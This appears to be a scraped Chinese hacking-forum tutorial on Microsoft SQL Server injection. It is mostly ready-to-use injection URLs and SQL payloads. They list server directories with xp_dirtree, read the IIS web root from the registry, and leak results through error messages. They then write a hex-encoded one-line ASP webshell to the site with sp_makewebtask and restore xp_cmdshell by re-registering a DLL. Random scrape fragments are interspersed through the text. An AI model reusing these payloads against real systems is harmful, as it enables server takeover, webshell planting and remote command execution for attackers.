MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示
; N( v& H: y/ w# F
subdirectory depth
test1 1
test3 2
* B4 V& d+ L7 X. Qtest2 1

# h3 z) l6 }  [8 n! \1 L哈哈发现没有那个depth就是目录的级数
- L( y2 p+ S6 s# K; O4 yok了，知道怎么办了吧
& t8 C7 y( o% J( M! l4 ~& s
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
& z2 B, g' T: b) ?4 A. xhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
) i( S1 ]" \, u0 H4 V
只要加上id＝1，就是第一级目录 。
% `. D4 @( \2 L  y
* `* O: m5 W! x
通过注册表读网站路径:
2 a; w5 F5 _. e) H: X3 X
1 L! A: Y2 E5 @5 F, i1.;create table [dbo].[cyfd] ([gyfd][char](255));

5 j& I  I* O4 G& E7 D2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
1 x1 `3 h% Y- f. ?7 [5 o8 X
8 b, N( s/ {6 E3 i; w6 a) q3.and 1=(select count(*) from 临时表 where 临时字段名>1)
and 1=(select count(*) from cyfd where gyfd > 1)
7 z# A! a% }" z6 H这样IE报错,就把刚才插进去的Web路径的值报出来了

4.drop table cyfd;-- 删除临时表

获得webshell方法:
! g4 M: K, i' B  q0 _& i1.create table cmd (a image)-- \**cmd是创建的临时表

2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话


3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
. Y" G/ i. ?6 F4 M- h+ L% i/ DEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
) s; @5 w+ U% x" y# w
4.drop table cmd;-- 删除cmd临时表
* n' j: F1 ]6 Y2 C7 ~' E! s9 H6 L
恢复xp_cmdshell方法之一:
% ~' f# e6 x; C2 g$ C8 y. H我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
  _  G9 l. d# J- l: K6 p* M+ l% zhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）